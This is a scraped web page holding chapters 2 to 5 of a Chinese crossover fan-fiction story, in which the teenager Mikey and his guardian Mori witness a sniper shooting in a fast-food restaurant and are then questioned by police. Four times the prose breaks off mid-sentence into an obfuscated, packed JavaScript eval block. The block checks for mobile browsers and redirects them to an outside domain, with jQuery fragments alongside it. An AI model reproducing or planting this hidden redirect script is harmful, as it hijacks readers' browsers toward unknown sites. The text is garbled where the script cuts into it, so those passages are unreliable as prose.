《港口Mafia的万次郎》 2. 袭击 女侍应生赶紧提出补偿方案:“真的非常抱歉,都是我们工作的失误,才给您带来了不好的用餐体验!为了表达我们的歉意,缺少包装材料的这一份套餐不会算进账单,此外在原有赠品周边的基础上,本店还附赠您《假面战队》系列的其他周边,希望能得到您的谅解!” 她将早就准备好的海报和金属徽章送到少年手上。 联动海报是店里的非卖品,金属徽章则是消费满一定金额抽奖可得的抽赏,都是需要一定的门槛才能获得的周边。既然客人喜欢《假面战队》,女侍应生认为他应该会接受这样的补偿。 果然,拿到海报和徽章的少年瞬间露出了笑脸。 “太帅了!” 他拿起金属徽章左右欣赏。自己欣赏还不够,还举到监护人面前给他看。 监护人想必没看出里面的门道,只是保持着不变的微笑表情,迎合着他的情绪点了点头。 看来少年的这一关总算是过了,女侍应生和男同事互相看了对方一眼,紧绷的神经放松下来。 今天一整个上午过得都很辛苦。 旁边位置的小男孩看见少年得到了海报,跟母亲说他也想要,被母亲拿起吃剩的汉堡堵住了嘴。 “不要看别人,哥哥是哥哥,你是你,”小男孩的母亲是这次的事件中除两个服务员以外最紧张的人,毕竟不够用的包装材料在哪里实在很明显,“要是没事做就再看一遍宣传片,你不是喜欢看吗?” 女侍应生在心里认真地感谢了这位体贴的女士。 男人此时恰到好处地开口,对着两位侍应生说道:“辛苦你们了,我家孩子是有些任性,有的时候我都拿他没办法。” 出门在外父母似乎都会用这种方式来为自家孩子不怎么合适的行为开脱,只要自己先责怪了孩子,那么别人就不能再拿这件事来指责,不然显得太小心眼。他假意叹了口气,露出了无奈的笑:“服务员小姐,和这位……服务员先生,不好意思,你们去忙吧,如果有需要我会再叫你们的。” “您实在太客气了,该说不好意思是我们。” 女侍应生和男同事再次向他鞠躬,转身离开了顾客用餐的前厅。 少年自从拿到周边就不再关注外界,他欣赏够了金属徽章,转而拿起海报。 金发的小女孩从刚才开始一直咬着吸管喝果汁,见少年拿到周边这么高兴,她不解地说:“Mikey还真是喜欢收集这种东西啊,有那么有趣吗?” 少年移开满桌的餐盘,把卷起的海报拉开,“爱丽丝没看过《假面战队》当然不懂,不然下次跟着我一起追更新好了。” “看了就会喜欢?” “当然!不喜欢《假面战队》的人就不该存在于这个世界上!” 少年发出了如此暴言。叫爱丽丝的小女孩脸上写满了无语,他们的监护人看起了玻璃橱窗外的景色。 小男孩的母亲和他们一桌离得近,自然也听到了这句话。 “不喜欢《假面战队》的人就不该存在于这个世界上!”她的儿子激动地学着少年的语气重复了一遍。 小男孩的母亲扶着额头,觉得世界在天旋地转。 少年转过头,“小孩,你很懂啊。” 小男孩在他面前倒是很乖巧,一点都不认生,“哥哥我也喜欢《假面战队》,你能把你的徽章借我看一下吗?” “今年多大了?” 小男孩跟被警察查到户口那样报出全部的信息,“我叫山本翔太!今年五岁!妈妈叫山本琴子,爸爸叫山本阳太,我是太阳幼儿园向日葵大班的学生,我家的地址是神奈川区岩川町11……唔!” 再不拦着家里的门牌号真的要被报出来了,小男孩的母亲赶紧捂住他的嘴,对着隔壁桌的父子三人尴尬地笑笑,“我家孩子没什么礼貌……”她低头扯儿子的耳朵,“翔太!哥哥只问你几岁,别说乱七八糟的!” 小男孩挣脱出母亲的魔爪,跑到隔壁桌少年的位置旁边坐下,“哥哥你能把你的徽章借我看一下吗?”他还是不死心。 少年捏了捏他的脸,“翔太。” “嗯!” “看你还算上道,从今天起你就是我的小弟了。” “好的大哥!大哥你能把你的徽章借我看一下吗?” “拿去吧,别弄坏了。” 少年大方地把徽章递给了他,小男孩捧着徽章爱不释手。 叫爱丽丝的小女孩看着他们两个的样子,脸上的表情更无语了。 “那个……”自家儿子打扰人家一家吃饭,小男孩的母亲过意不去,“对不起,我马上把他抱走。” “没关系,您的儿子和我家孩子好像聊得来。” 男人冲她微微一笑,大度地说。 真的是素质相当高的人啊,长得英俊,脾气还很好,带在身边的两个孩子还都很可爱。 小男孩的母亲对他们一家充满了好感,“打扰你们了,还有,刚才的事也很抱歉。” 她指的是联动套餐包装的事,要不是因为店员觉得她儿子难缠,就不会擅自把本应该属于旁边一桌套餐的包装给她儿子。 男人摇头,“这件事情已经过去了,况且并不是山本小姐的错,请您不必在意。” “不知道该怎么称呼您?” “我姓森,名林太郎。” “原来是森先生!” 小男孩的母亲看了看他带着的两个孩子,“森先生的两个孩子教育的都很好呢,我家儿子就完全不行,每次都管不住。” “山本小姐千万别这么说,我家的两个孩子也很任性。”森林太郎摸了摸身边小女孩的头发,介绍道:“这是我的女儿爱丽丝,对面的男孩是亲戚家的孩子,叫他Mikey就可以。” 爱丽丝拍掉他的手,屁股往旁边移了移。 “英文的名字?父母生活在国外吗?” “不是,这个孩子喜欢别人这么叫他。” 小男孩的母亲有些不解,但是尊重了这种叫法,“我还以为Mikey君是森先生的儿子呢,原来是亲戚家的孩子。” “有那么像吗?”森林太郎笑笑,“虽然是亲戚家的孩子,但从很小开始就是我带着了,所以也算是半个父亲吧。” 和小男孩一起玩的Mikey百忙之中听到监护人的话,反对道:“什么父亲啊,森亲又在乱说!” 小男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16031630|178649||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩的母亲笑了,“Mikey君对您的称呼很可爱呢。” “这孩子从小对人就没大没小的,也就只能随他去了,”森林太郎笑容温和,“告诉他不要在外面这么叫,他总是不听。” “森先生也是被孩子拉到店里来的吗?我家这个从联动活动开始就在家里上窜下跳,一定要来店里吃饭。” “是啊,Mikey君很喜欢《假面战队》。前段时间我的工作特别忙,没有时间陪他过来。好不容易有一天休息,就带着他们两个一起来店里了。” “带孩子真是不容易,幸亏森先生家两个孩子都很可爱。” “翔太君也很活泼啊。” “森先生是做什么工作的?两个孩子带起来很辛苦吧,您还自己带孩子出来玩,真负责任,我家老公休息日只会跟着同事出去喝酒。”小男孩的母亲想到自己老公,和眼前的男人对比,就觉得人比人会死货比货得扔,“我是家庭主妇,我老公在政府工作,是个小职员。” 森林太郎说道:“我是医生,原先在军队就职,后来自己开了家诊所。” “那您很优秀呢,怪不得把孩子教育的这么好。” “过讲了,山本小姐再继续夸下去,这两个孩子恐怕会太过得意。” 快餐店的几款饮料可以在前台免费续杯,爱丽丝喝完杯中的果汁,从椅子上跳下去,扯了扯监护人的衣袖,告诉他自己离开一下。 森林太郎点头,给爱丽丝让出出去的路。 小男孩的母亲听说他是医生,于是说起自己正在上大学的弟弟目前也就读于医科大学。又听说他是东京大学医学部毕业的学生,更是连连夸赞,觉得他真是太优秀了。 森林太郎是一个非常体贴的人,博学又风趣,跟他聊天很轻松,小男孩的母亲不自觉地说了不少有关家庭的事,还和他分享了有关于丈夫工作太忙碌的困扰。 聊得正开心,她突然觉得眼前被一道光晃了一下,眨了眨眼睛又没觉得有什么异样。 以为是幻觉,她没有理会。 新进门的一桌客人被侍应生引到她的位置,侍应生可能以为她一个人坐一桌,所以问道:“非常抱歉打扰您,如果您不介意,这两位客人能和您拼桌吗?” 这个时间是午餐的高峰期,反正自家儿子不跟自己坐,小男孩的母亲收拾了一下桌面,“可以的,两位坐在对面吧。” 她的眼睛似乎又被什么晃了一下。 正在跟小男孩讨论《假面战队》哪一部最好看的Mikey突然伸手拉上了玻璃橱窗的遮光布帘。 几乎是他有动作的一瞬间,森林太郎就察觉到了他的意图,干脆地俯下身体。 紧接着“砰”地一声,玻璃橱窗碎了,碎片四处飞溅。 小男孩的母亲还没反应过来发生什么,温热的液体溅到她的脸上,才还好好站在她面前的其中一位客人倒了下去。 从他的胸口涌出鲜血。 诶?小男孩的母亲迟钝地用手指抹了一把脸上的液体,红色的,她坐在位置上动也动不了。 侍应生双腿一软,跪倒在地上。餐厅里爆发出尖叫,众人乱作一团。 “死、死人了!” 3. 面谈 “不好意思,让你久等。” 刚从事发时离死者最近的快餐店侍应生那了解完情况,名为箕浦的警视厅刑事部警官急匆匆地朝角落被隔出来的位置走过来,在餐椅的另一边坐下,冲着对面等待了许久的黑发男人说道。 他从怀中取下插在外套口袋内侧的圆珠笔,翻开手中的笔记本,一边看着上面有些凌乱的字迹,一边按下圆珠笔的笔帽,“我想向你了解一下你所知道的事发当时的经过,所以要麻烦你回答几个问题,首先,请问你的名字?” “森林太郎。” 黑发男人十分配合地回答。 箕浦在纸上写下他的名字,“年龄呢?” “三十三岁。” “工作的内容是?” “自己经营着一家诊所。” “你是医生?”箕浦抬起头,用审视的目光打量着男人,“所以在死者中弹倒下后,你跑到他身边,用手帕堵着他的伤口,是在对他实施急救?” 森林太郎点头,在锐利眼神的注视下没有受到任何影响,依旧平静地答道:“我曾经上过战场,有处理枪伤的经验,所以在确认暂时没有危险之后,我试着为那位中弹的青年止血。可惜的是子弹打中了他胸口的主动脉血管,血根本止不住,等到救护车来到现场,他的呼吸已经停止了。” 他闭上眼睛,似乎不忍心回忆当时的情景,“警官,请你们一定要抓住凶手,让杀人者得到应有的惩罚。” “我们会的。” 箕浦仔细地观察着森林太郎的表情。 之所以封锁整家连锁快餐店,分批次对店里的客人进行一对一的面谈,是因为警方怀疑店里的某个人会是从橱窗外开枪杀人的那个凶手的同伙。 通过对死者尸体的初步检查,和调取了事件发生时店里店外所有的监控,警方锁定了一个大概的范围。 凶手大概率是从透过玻璃橱窗,直线两公里能看到的唯一一栋高楼建筑内向店里发起的狙击。 使用的武器是某种极具穿透力的大口径狙击枪。 具体的型号得等尸体解剖出来才能确定,但是这种特殊的武器,不是一般人能够弄到手的。 凶手很有可能是专业杀手。 死者的身份已经调查清楚了,附近大学的大三学生,和他结伴来到这家店的是他的女朋友,两人的家世都很普通,一方父亲是公司职员母亲是家庭主妇,一方父母在家务农。比起杀手的目标,他们更像无辜受牵连的被害者。 那么,在这些人当中,有值得买凶冒险追杀的目标吗? 箕浦一踏进店门,首先注意到的是名叫森林太郎的男人和他带的两个孩子。 ——奇怪。 ——太奇怪了。 所以他特地让同事留下森林太郎,他想亲自和这个人对话。 他在刑事部门待了将近八年,经手过上百起的凶杀案件,不是初出茅庐的菜鸟。 一个人是不是在说实话,有没有隐瞒什么东西,如果心理素质不够强,在警察的单独询问下很容易露馅。 调查一起凶杀案需要走访无数个地方,见到各种各样的人,从他们的口中采集证词。箕浦见过的人绝对不算少,大部分和凶杀案扯上关系的嫌疑人其实都是普通人,就算再想隐瞒所知道的东西也会被老练的警察一眼看破。 根据他过往看人的经验来判断,他认为森林太郎没有说谎,脸上为死者的死亡而惋惜的表情也不像是作假。 可是,理智告诉他没有问题,直觉却总让他觉得眼前的男人哪里不对劲。 努力忽视心中升起的古怪的感觉,箕浦换了个问题,“森医生,你是因为什么来到这家店的?” “这也在箕浦警官需要了解的范围内吗?”森林太郎皱眉,不太能理解,但还是回答了,“这家快餐店和我家孩子喜欢的英雄连续剧有联动,我家孩子吵着要来这里吃饭。原先工作一直很忙,没空陪他,刚好今天休息,我就带着他们一起来了。” “那两个孩子,分别跟你是什么关系?” “女孩是我的女儿,大名森茉莉,小名爱丽丝,今年九岁。”提到孩子,森林太郎表情变得柔和起来,“男孩是亲戚家的孩子,父母早亡,他家里人把他托付给我。那孩子今年十五岁,名字是——” “啊!我再也受不了了!” 不远处同样在与案发现场顾客面谈的年轻警察两只手重重地拍在桌上,巨大的声响打断了他们两个的交谈。 箕浦扭头,发现大叫的人是自己带的后辈,他扶额,“这小子又怎么了,每天都毛毛躁躁……”转过头带着歉意说,“森医生,先到这里吧,我去处理一下别的事情。” “请便。”森林太郎礼貌地说。 突然想起了什么,他好心提醒,“箕浦警官,我家孩子比较任性,希望你能多多包涵。” 箕浦走到后辈所在的位置,先给后辈后脑勺来了一巴掌,“臭小子!叫什么叫!” 后辈捂着后脑勺委屈巴巴,“箕浦警官,是这个小孩,这个小孩他……” 他口中的“小孩”恰好看过来,和箕浦四目相对。 按理来说一个半大的孩子在死亡边缘走了一圈本应感到害怕,他纯黑的眼睛里却没有丝毫害怕的情绪。 少年一只手撑着脸,一只手拿桌上的玻璃杯滚来滚去,好像很无聊。 “好吵。”他对年轻警察抱怨道。 “喂!明明是你不配合!” “你都把我吵醒了。” “本来就不应该在这个时候睡觉吧!” “吃完了饭就是要睡觉啊。” “什么‘吃完了饭就是应该睡觉’,没这种道理!”年轻警察愤怒道:“你是人又不是动物!” 什么乱七八糟的,这两个人在这里开玩笑吗?箕浦听得满脸黑线。 他让控制不住情绪的后辈走开,自己跟少年聊一会儿。 少年就是森林太郎带在身边的其中一个孩子,也是需要重点关注的对象。 监控中,少年在凶手开枪前拉上了窗帘,阻碍了凶手的射击。 虽然不能说他拉上窗帘又叫监护人躲开就一定和凶手有关系,但少年的行为仍然值得怀疑,相隔了那么远,一个十五岁的孩子是怎么抢在所有人之前率先发现了异常的? 箕浦在少年的对面坐了下来。 面对未成年,他的态度没有那么强硬,“少年,可以你告诉我你的名字吗?” 其实他从森林太郎那里已经得知了少年的名字,但互换名字是拉近关系的突破口,他想听少年亲口说出来。 坐在对面的少年抬眼,放下了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16031631|178649||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 撑着脑袋的手,“佐野万次郎。” “这是你的名字?” 佐野万次郎歪头,冲他一笑,“对啊,不过大叔,叫我Mikey就行了。” “好的,Mikey君,”箕浦向他介绍自己,“我是警视厅负责刑事案件的一个普通警察,叫做箕浦,当然你也可以继续叫我大叔。” 佐野万次郎盯着他,“箕浦大叔。” “Mikey君,我接下来会问你几个问题,能麻烦你回答吗?” 佐野万次郎没有拒绝,“好哦。” 箕浦整理了一下自己的思绪,接着问道:“森医生跟你是什么关系?” “森亲吗?”佐野万次郎抬头看向天花板,想了想,“算半个监护人吧。” “你今天来店里吃饭是为了店里的联动活动?” “嗯!这家店和《假面战队》联动,会送周边。我本来打算自己来,森亲非要跟着。” “在事情发生之前,你为什么要拉上窗帘?” “觉得外面太晒了。” “你是不是发现了什么?” 佐野万次郎认真地问道:“箕浦大叔,你会给我吃猪排饭吗?” “……你不是已经吃过东西了。” “是吗?”佐野万次郎不在意地说,“但是目前的情况就应该吃猪排饭才对吧,我想吃猪排饭!” 他强调,“没吃到猪排饭之前我什么都不会说的!” 真是个擅长胡搅蛮缠的孩子,箕浦总算知道后辈为什么那么大反应,“Mikey君,我们不是在玩警察审犯人的游戏。” “原来不是啊,我还以为我变成犯人了呢。” 佐野万次郎把两只胳膊瘫在沙发座椅的靠背上,拖长了声音,“明明那样会比较有趣,你说是吧,箕浦大叔。” 箕浦:“……” ——这死孩子! 他也感到头疼了,“Mikey君,麻烦你认真回答我的问题,不要戏弄大人。” “我一直很认真!” 佐野万次郎用“大叔你怎么能这么说我”的眼神谴责地看向他,箕浦的头更疼。 让他头疼的事不止这一件,不知道从哪儿钻出来一个孩子,抱住他的腿拉扯他。 “我大哥才不是坏人!放开我大哥!” 箕浦拎着小男孩的领子把他提了起来,这孩子看起来顶多五岁,应该是店里哪个顾客的小孩没看住。 佐野万次郎见到小男孩眼睛一亮,“翔太!” 小男孩也很激动,“大哥!” 佐野万次郎夸赞他,“不错,还知道来救我,做小弟就是应该这么讲义气。” 小男孩两条腿在空中乱蹬,“大哥,我爸爸来了,等我打败了这个坏人,就带你一起走!” 箕浦懒得再跟这两个小孩玩游戏,他把小男孩放回地上,小男孩扑过去抱住了佐野万次郎。 让他们两个一起玩吧,这么想着,他决定还是回去跟森林太郎面谈。 就在这时,警视厅的前辈走过来,压低声音对他说:“有个大人物来了。” 箕浦问:“是谁?” 前辈叫他往外面看,箕浦向他所说的方向看去,只见一个年轻的男人在一群黑衣保镖的包围下,越过快餐店外的警戒线,正往店里走来。 4. 议员 那张脸昨天还出现在了本市电视台的新闻上,因为是最近风头正盛的人物,他一出现,一下子就引起了快餐店外围观人群的注意。 不过以往在民众面前都表现地亲切而平易近人的男人,今天却只顾在保镖的保护下快步往店里走,一点也没有举起手朝着人群热情打招呼的意思。 警视厅的领导过去迎接男人,男人勉强和他寒暄了几句,脚步没停。 他走到正在安慰泪流不止的死者女朋友的年轻女性身前,伸手扶住她的肩膀,轻声喊了一遍她的名字。 年轻女性察觉到有人触碰自己,抬头看向旁边。听到男人的声音,她眼眶一红,顿时像是泄去了全身的力气,把头埋进男人怀里。 箕浦听到前辈凑到他耳边小声说:“山本议员和他妻子的关系似乎很好,一听说妻子和孩子可能遇到了危险,参加完活动衣服都没换,带着人就往这边赶。” 冲进店里的男人是横滨市议会最年轻的议员——山本阳太。 山本阳太是从东京大学法学部毕业的高材生,年纪轻轻就当选了市议会议员,因为讨人喜欢的性格和端正的长相,经常出现在本市各类的电视节目上,在年轻市民之间的支持率尤其高。 他的父亲在政府某部门担任重要职位,母亲是一家日用品上市公司社长的千金,家世可谓是相当显赫。 不过出生名门的他并没有像父亲那样选择一个能在事业上给他助力的妻子,而是娶了一个普通女性—— 一个不管是家庭、样貌还是学历都相当普通的女人,成为了他的妻子。 山本阳太在年轻人群中拥有堪比小偶像的人气,好像确实有女孩像喜欢偶像那样真心喜欢他。 他宣布结婚的那天,关于“山本议员与一般女性结婚”的讨论话题还短暂地冲上了社交平台的热搜榜单。 山本阳太在媒体面前把妻子的信息保护得很好,网络上搜不到有关于他妻子的名字和照片。后来他在社交平台上发文庆祝孩子的出生,也没有媒体扒出过他孩子的信息。 有小道消息说山本阳太的妻子是他的高中同学,但两人高中时期并未交往,可能是两人同样在东京读大学时生情,才会选择一毕业就结婚。但网络上也有账号恶意揣测,说山本阳太选择现任妻子只是为了作秀,立他贴近民众的人设,实际和妻子的感情非常一般。 箕浦看着拥抱在一起的两人,若有所思。 现在看来,能够在事情发生后丢下工作及时赶到现场,对妻子表现地也很关心,两人的关系并不像网络上揣测的那样冷淡。 随即,摄像机的快门声在他耳边响起。 箕浦和前辈都发现了有人偷拍,案发现场不允许无关人员私自拍摄,前辈板着脸就要冲出去抓那个拍照的人,“喂!把照片删掉!” 店外藏在人群中举起相机,把自己从上到下包裹得很严实的人转身想跑,被守在外面的几名警察按住。 前辈夺过他手里的相机,那人眼见相机被夺走,还在地上挣扎说他只是随便拍拍,没有拍到什么。 箕浦跟着走了出来,前辈打开相机给他看那个人拍的照片,是山本议员和其妻子的同框照。 “不好意思,这个可不能让你发出去。” 前辈删掉相机里的照片,让警察放开偷拍的那个人,仔细检查过后,把相机抛还给他。 那个人慌乱地接住相机,嘴上虽然没说什么,眼睛里却流露出丢失大新闻的可惜。 围在外面的人群也不再讨论死者,开始讨论起山本议员和被他抱住的女性。 两个人重新回到快餐店里,箕浦转头看向前辈,“目前最有可能成为杀手目标的人,就是山本议员的妻子吧?” 前辈点头,“我也这么想,把死者包括在内,其他人的身份都很普通,不像会被买凶追杀。” “有没有可能其中有人惹上了什么麻烦,他的仇人买通杀手来杀他?” “你傻了?一般情况下普通人和普通人结怨,对方最多自己动手冲动杀人,或着买通另一个普通人制造意外杀人。”前辈环视了一圈店里分散坐着的客人,观察着每个人脸上的表情,“先不说他们出不出得起杀手杀人的费用,普通人接触不到雇佣专业杀手的渠道,但凡有点本领的杀手也不屑于接这一单。” 这一点箕浦也想到了。 可他总觉得有哪里不对。 他的目光落在店里其中一个人的身上,森林太郎,怎么看都是个再普通不过的医生的男人,那是他最怀疑的人。表面上看一点问题都没有,但站在这个人面前,和这个人对话,他总有种被吐着蛇信的毒蛇盯上的错觉。 森林太郎正拿着随身携带的小梳子,为头发散掉的女儿重新梳辫子。 也许是头发被扯得有点痛,他的女儿拿脑袋撞了他一下,带着没梳好的头发径直跑开。森林太郎没有生气,拿着梳子早已习惯地追过去。 箕浦喃喃自语:“港口Mafia……” “啊?” “如果是得罪了港口Mafia,那么被派来的杀手追杀也不奇怪,那个组织的前任首领可是一个因为怀疑街上的孤儿传唱了侮辱他的童谣,就放火烧了整座城市孤儿院的暴君。” 箕浦认为找到了一个突破口,迫不及待地说,“虽然还不清楚现任首领是什么性格,但同为那个组织的人,也不会有多少差别。再深入调查一下店里这些人最近都去了哪里,接触过什么人吧,既然死者很有可能不是杀手的目标,杀手近期肯定会再次动手。即使最有可能成为目标的人是山本议员的妻子,也不能排除‘杀手想杀的另有其人’这个可能性,我们要赶在杀手动手之前,把他的目标找到并保护起来……” “就算这样,”前辈打断了他,“你也说了,最有可能的还是山本议员的妻子,我们当然可以费力去调查,但是——” 他叹了口气,“最后要怎么查,怎么做,都不是我们两个能决定的啊。” 警视厅的领导和山本夫妻说着话,一个普通人的死没什么大不了,一个前途无量议员妻子的死就让人不是那么坐得住了。 山本议员的妻子是绝对不能死的,虽然法律上说人人平等,实际每个人的生命都有价值。 有她的丈夫在,她生命的价值比在场的顾客都要高。 上面肯定会把保 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16031632|178649||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 护的重点放在山本议员的妻子和孩子身上。 箕浦突然想起了什么,“等等,你刚才说,山本议员的妻子和孩子都在店里。这里只有他们两个人,那他们的孩子呢?” 前辈也反应过来,开始在桌子底下到处翻找,“是啊,那孩子刚才还在他母亲身边,这会儿人跑哪儿去了?” 议员的孩子在犯罪现场丢了,传出去让他们这些警察还怎么混,箕浦帮着找,可他没看过山本议员的孩子长什么样——对母子两人的面谈由前辈进行,进门他光看森医生一家三口去了,压根没注意到别人。 前辈跟他描述,“一个五岁的男孩,一米多一点,短头发,不怕生,对着大人也敢大喊大叫……” 听完前辈的描述,箕浦僵硬道:“对着大人大喊大叫,我好像在哪见过这种小孩。” “爸爸!爸爸你快来见过我大哥!” 有个小男孩飞扑过去,扒在正和警视厅领导说话的山本议员背上。 箕浦不知道该说什么,果然是这孩子! 山本议员大概早就习惯了自己儿子的一举一动,被儿子从后面扒住,他只是在原地踉跄了一下,然后淡定地支撑起身体,问:“翔太,你怎么把妈妈丢在一边,自己跑去玩儿?” “我和大哥在一起。” “你说的大哥是谁?” “大哥就是我大哥,爸爸你也得拜见大哥。” 小男孩往自己后面一指,山本议员转身,看见一个浅金色头发的少年双手抱着胳膊站在离他一米远的地方,毫不客气地看着他。 警视厅的领导和在旁偷听的前辈都没听懂,脸上写满了问号。 箕浦倒是懂了,可他不敢开口。 ——小男孩大哥不就是佐野万次郎这个难缠的孩子吗?俩孩子到底在玩什么他不能理解,怎么会有小孩叫自己做议员的父亲去拜见自己认的年仅十五岁的大哥! ——而且他是幼儿园没毕业的小孩不懂事,佐野万次郎这孩子都上国中了还不懂事?干嘛摆出一副很了不起的样子,对面是你监护人都得客气对待的大人物啊! 箕浦环顾四周,他现在非常想有人能出现阻止佐野万次郎这个任性的孩子。怪不得森医生说他家孩子很任性,这也太不知道天高地厚了。 关键时刻,他想找的森林太郎不知去向。 难道是去上厕所了吗?这么想着,箕浦悄悄移动脚步,想去厕所找找。 山本议员的妻子看见佐野万次郎,倒是难得地露出了笑容,她说:“Mikey君,刚才没来得及向你道谢,谢谢你保护翔太。” 山本议员不解地看向妻子,妻子向他解释了事情的经过。 她对着丈夫总结道:“要不是翔太非要坐在Mikey君旁边,被子弹打中的可能就是他了,玻璃碎掉的时候,Mikey君还把翔太护在身下,避免了他受伤——Mikey君是我们一家的恩人,我们一定要找机会报答他。” “原来是这样。” 山本议员听完妻子的话,朝佐野万次郎伸出手,语气温和地说:“我是翔太的父亲山本阳太,谢谢你救了我的儿子,Mikey君。” 5. 外号 面对只在电视上和报纸里才能看见的人物,佐野万次郎完全没有表现出异样的神情,他看着山本议员,就像是看着路边遇到的随便一个穿着西装的上班族。没有要握住那只伸出的手的意思,他只是微微抬起头,观察了眼前的人一会儿,然后露出了在思考些什么的表情。 “唔……不用在意,就叫你翔太的爸爸先生吧?”擅自决定了对山本议员的称呼,佐野万次郎重新望着他,开口问道:“翔太的爸爸先生,你来得正好,我刚好有一件事想征求别人的意见,你也来发表看法好了。” 他拧紧眉头,好像确实在为某件事困扰。 山本议员伸出的手就他被这样忽视了。 他收回手,看向判断不出脑袋里装着什么的佐野万次郎,试探着问:“……翔太的爸爸先生?这是在叫我吗?” “我不擅长记别人的名字,要记住这么多人的名字很难办,不小心就会忘掉了,所以家里人说可以用外号来记,”佐野万次郎平淡地说,“不可以喊你翔太的爸爸吗?” “也不是不可以……” “那就这么决定了,你是‘翔太的爸爸先生’!” 佐野万次郎摆出不容更改的样子,强硬地决定了初次见面的大人的外号。 好任性。 真是个蛮不讲理的孩子。 在场的大人心中涌现出了这样的心声。 头上仿佛在这个时候多了一个“翔太的爸爸先生”头衔的山本议员认为可以是可以,可自己的姓氏明明更简单好记,用姓氏来称呼会更方便。 不过既然佐野万次郎单方面地决定了,也没必要跟一个未成年坚持称呼的问题。山本议员消化了这个外号,微笑着说道:“还是第一次有人这么叫我呢,Mikey君起的外号很有趣。” 佐野万次郎把他的这句话当成了赞美,“是吧,大家都说我有起名的天赋,那从今天开始也让别人这么叫你。” “这个,”山本议员为难道,“好像不太方便。” 佐野万次郎反倒用奇怪的眼神看着他,“为什么?” 山本议员问:“Mikey君不认识我吗?” “认识啊,”佐野万次郎拍了拍不知何时从父亲背上跳下,跑到他身边的小男孩山本翔太,“你是翔太的爸爸。” “不是指这个,Mikey君,你没有在电视或者网络上看到过我?” 并不是自我吹嘘,但自大学毕业后进入政界,山本议员一路走来没有遇过大的挫折,不知不觉就达到了今天的成就,是一个走到哪里都会引起注目的人。 他常受邀参加电视节目,不限制于严肃的新闻节目,轻松一些的对话类节目同样会参加,也开通了社交平台的账号,知道自己在年轻人中、特别是年轻女性中的人气很高。 佐野万次郎的年龄正好被覆盖进了他大部分支持者的年龄段,但凡打开电视,注册了sns账号,或者和同班女生闲聊过,就一定会在无意识中接收到有关他的信息。 佐野万次郎想了想,“大概,没有见过?” 山本议员不好意思:“抱歉,Mikey君,我以为你这个年龄段的孩子应该会认识我。” 佐野万次郎往快餐店的店门外看了一眼,警戒线外围满了人,且有的人满脸兴奋,不像是是单纯在围观凶杀案现场,“翔太的爸爸先生是有名人啊。” 山本议员谦虚道:“算不上真的名人,碰巧有几个人认识而已。” “默默无闻的森亲看到了会很羡慕吧,别人的家长很受欢迎。” “‘森亲’就是森先生吗?Mikey君的监护人?”山本议员听妻子大力夸赞了这个男人,很想见见对方,“羡慕……Mikey君,一般人不会有这种情绪的,而且被围观也不是因为受欢迎。” 佐野万次郎没有忘掉刚才的提案,“翔太的爸爸先生干嘛不考虑采用我的建议,采用了可能会比现在更受欢迎哦。” 绝对不可能,虽然心里这么想,但考虑到佐野万次郎的心情大家都没有说出来。 山本议员解释道,“我的工作需要经常出现在民众面前,所以称呼得……稍微……正常,不,得选择正经一点的称呼。” “哎?我起的外号不正经?” “倒也不是。” “那就是不正常。” “Mikey君,不正常是说错了,你起的外号很正常!” 山本议员平常很少有和这个年龄的孩子对话的机会,被邀请到中学演讲是站在礼堂上,对着几百名学生讲话,单独和某一名孩子交谈的经验值趋近于零。 眼看佐野万次郎垂下脑袋一副受伤了的表情,他不知该怎么办,身边的妻子掐了他一把,妻子对他比口型:别说不识相的话,顺着他的话往下说不就行了。 山本议员的妻子成为家庭主妇前是幼稚园的老师,她总结和孩子交流的经验,只有一点,那就是——不管孩子说什么,都顺着他的话往下说。 国中的孩子可以用一样的方法对待?山本议员将信将疑。 但佐野万次郎的负面情绪传递到了他儿子身上,幼儿园大班没毕业的儿子察觉大哥情绪不佳,正用“爸爸好不中用”的眼神看向自己。 山本议员赶紧转移了话题:“Mikey君说有困扰的事情,需要征求别人的意见,是什么呢?” “啊!差点忘记了!” 转移话题的手段用得很成功,佐野万次郎的注意力被成功引开,他猛地抬起头,用左手一锤右手的掌心。 看向附近的几个人,他说:“抛弃掉个人的情感,从旁观者的角度更能给出公正的答案,翔太的爸爸先生,琴子阿姨,”他喊山本议员的妻子倒好好地喊了名字,“有上司感觉的警察先生,冷着脸的箕浦大叔,还有那边一直在偷听的警察先生,希望你们都能发表一下自己的意见。” 被他说成“有上司感觉的警察先生”的警视厅领导越听越觉得不对,往后面一看,在自己的身后看见了明显在偷听的两个下属。 “你们两个——” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 